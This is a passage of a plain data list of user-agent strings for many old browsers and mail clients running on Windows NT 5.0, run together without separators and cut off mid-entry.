Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.8) Gecko/20071013 K-Meleon/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.2pre) Gecko/20070111 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mnenhy/0.7.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.10) Gecko/20100504 SeaMonkey/2.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.14) Gecko/20101005 Thunderbird/3.0.9 ThunderBrowse/3.3.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.16) Gecko/20101125 Thunderbird/3.0.11 ThunderBrowse/3.3.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.8) Gecko/20100205 SeaMonkey/2.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 ThunderBrowse/3.3.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; de_CH; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; el; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-EN; rv:1.8.1.8) Gecko/20071013 K-Meleon/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.1.16) Gecko/20101125 Thunderbird/3.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.5) Gecko/20011011 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.7) Gecko/20011221 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020815 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc1) Gecko/20020417 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) Gecko/20020510 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) Gecko/20020523 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1a) Gecko/20020611 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1b) Gecko/20020721 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2) Gecko/20021126 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2a) Gecko/20020910 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021014 Phoenix/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021016 K-Meleon 0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20021203 Phoenix/0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20021212 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20030105 Phoenix/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3b) Gecko/20030204 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3b) Gecko/20030210 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030529 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030612 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4.1) Gecko/20031008 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4a) Gecko/20030401 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4a) Gecko/20030403 Phoenix/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030504 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030507 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030514 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20030916 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031007 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5b) Gecko/20030827 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 (No IDN) Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050610 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mnenhy/0.7.2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20051002 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20040803 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20050208 Netscape/7.20 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041217 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20050603 Netscape/8.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20050729 Netscape/8.0.3.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20051012 Netscape/8.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20060912 Netscape/8.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) NimbleCrawler 1.11 obeys UserAgent NimbleCrawler For problems contact: crawler_at_dataalchemy.com Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20060112 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060228 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 FirePHP/0.0.5.22 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.5.0beta Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.19) Gecko/20081217 KMLite/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.3pre) Gecko/20070301 BonEcho/2.0.0.3pre Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.8) Gecko/20071030 Firefox/2.0.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b2) Gecko/20050702 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050910 SeaMonkey/1.0a Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.3) Gecko/20090804 Firefox/3.5.3 Lunascape/5.1.5.19059 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.3) Gecko/20101227 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2.30) Gecko/20120217 Firefox/3.6.30 (Palemoon/3.6.30) Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2a1pre) Gecko Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2a1pre) Gecko/20081228 SeaMonkey/2.0a3pre Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2a1pre) Gecko/20090117 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20060206 SeaMonkey/1.5a Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20060506 Minefield/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/2.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a2pre) Gecko/20061225 Minefield/3.0a2pre Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 BonEcho/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 GranParadiso/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 IceWeasel/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 Mozilla Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9b2pre) Gecko/2007110913 Minefield/3.0b2pre Mozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 5.0; en; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-AR; rv:1.7.5) 